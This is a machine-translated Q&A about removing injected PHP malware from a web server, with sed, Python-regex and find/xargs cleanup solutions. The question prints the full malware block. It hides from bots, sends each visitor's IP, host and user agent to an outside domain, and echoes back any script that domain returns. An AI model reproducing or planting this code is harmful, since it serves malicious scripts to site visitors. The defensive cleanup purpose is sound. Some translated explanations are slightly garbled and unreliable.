我正在努力清理安全漏洞。我想在web目录中找到有问题的PHP代码的所有实例并将其删除。它看起来像这样:
<?php
#c9806e#
error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $wp_xoy23462))){
$wp_xoy0923462="http://"."template"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_xoy23462);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_xoy0923462);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_23462xoy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_23462xoy,1,3) === 'scr' ){ echo $wp_23462xoy; }
#/c9806e#
?>
<?php
?>
(c9806e
是一个随机的字母数字字符串)
我找到了很多资源,可以使用find
,sed
和grep
来替换简单的事情。我可以根据所有这些来拼凑一些东西,但我不确定它是否有效,或者它不会破坏任何东西。
以下是我的工具:
以下是包含转义字符的违规代码。
<\?php
#\w+#
error_reporting\(0\); ini_set\('display_errors',0\); $wp_xoy23462 = @$_SERVER\['HTTP_USER_AGENT'\];
if \(\( preg_match \('/Gecko\|MSIE/i', $wp_xoy23462\) && !preg_match \('/bot/i', $wp_xoy23462\)\)\)\{
$wp_xoy0923462="http://"\."template"\."class"\."\.com/class"\."/\?ip="\.$_SERVER\['REMOTE_ADDR'\]\."&referer="\.urlencode\($_SERVER\['HTTP_HOST'\]\)\."&ua="\.urlencode\($wp_xoy23462\);
$ch = curl_init\(\); curl_setopt \($ch, CURLOPT_URL,$wp_xoy0923462\);
curl_setopt \($ch, CURLOPT_TIMEOUT, 6\); curl_setopt\($ch, CURLOPT_RETURNTRANSFER, 1\); $wp_23462xoy = curl_exec \($ch\); curl_close\($ch\);\}
if \( substr\($wp_23462xoy,1,3\) === 'scr' \)\{ echo $wp_23462xoy; \}
#/w+#
\?>
<\?php
\?>
编辑:事实证明,部分换行符为\r\n
而非\n
。 (其他人只是'\ n'。)
答案 0 :(得分:1)
sed -n '1! H;1 h
$ {x
: again
\|<?php\n#\([[:alnum:]]\{1,\}\)#\nerror_reporting(0).*#/\1#\n?>\n<\?php\n\n\?>| s///
t again
p
}'
似乎适用于GNU sed的版本(感谢@leewangzhong)
sed -n '1! H;1 h
$ {x
: again
\|<?php\r*\n#\([[:alnum:]]\{6\}\)#\nerror_reporting(0).*#/\1#\r*\n?>\r*\n<?php\r*\n\r*\n?>| s///
t again
p
}'
尝试这样的事情,但它实际上取决于内部代码格式(\ n,空格,......)
概念:
加载缓冲区中的所有文件(默认情况下逐行工作)以允许\ n模式
1! H; 1小时
用于在读取时(从工作缓冲区)加载每一行到保持缓冲区
$ {x
当在最后一行x
时,将保持缓冲区中的$
信息恢复到工作缓冲区(事实上交换内容),因此sed现在正在处理完整文件,包括每个文件末尾的\ n线
答案 1 :(得分:0)
使用Python而不是sed
进行替换。
正则表达式:
<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>
带有评论的正则表达式:
<\?php #Start of PHP code (escape the '?')
\s+ #Match any number of whitespace
#(\w+)#\s+ #Hax header: one or more alphanumeric
#symbols, and use parens to remember this group
error_reporting\(0\) #To be really sure that this isn't innocent code,
#we check for turning off error reporting.
[^#]+ #Match any character until the next #, including
#newlines.
#/\1#\s+ #Hax footer (using \1 to refer to the header code)
\?> #End of the PHP code
[^>]+> #Also catch the dummy <?php ?> that was added:
#match up to the next closing '>'
# $find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
Python脚本:
#Python 2.6
import re
haxpattern = r"<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>"
haxre = re.compile(haxpattern)
#Takes in two file paths
#Prints from the infile to the outfile, with the hax removed
def unhax(input,output):
with open(input) as infile:
with open(output,'w') as outfile:
whole = infile.read() #read the entire file, yes
match = haxre.search(whole)
if not match: #not found
return
#output to file
outfile.write(whole[:match.start()]) #before hax
outfile.write(whole[match.end():]) #after hax
#return the removed portion
return match.group()
def process_and_backup(fname):
backup = fname+'.bak2014';
#move file to backup
import os
os.rename( fname, backup )
try:
#process
print '--',fname,'--'
print unhax(input=backup, output=fname)
except Exception:
#failed, undo move
os.rename( backup, fname)
raise
def main():
import sys
for arg in sys.argv[1:]:
process_and_backup(arg)
if __name__=='__main__':
main()
命令:
find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
该命令解释道:
find #Find,
. #starting in the current folder,
-type f #files only (not directories)
-name "*.php" #which have names with extension .php
-exec grep #and execute grep on each file with these args:
-l #Print file names only (instead of matching lines)
--null #End prints with the NUL char instead of a newline
"wp_xoy0923462" #Look for this string
{} #in this program ("{}" being a placeholder for `find`)
\; #(End of the -exec command
| #Use the output from above as the stdin for this program:
xargs #Read from stdin, and for each string that ends
-0 #with a NUL char (instead of whitespace)
-I fname #replace "fname" with that string (instead of making a list of args)
#in the following command:
python #Run the Python script
unhaxphp.py #with this filename, and pass as argument:
fname #the filename of the .php file to unhax
>> unhax.out #and append stdout to this file instead of the console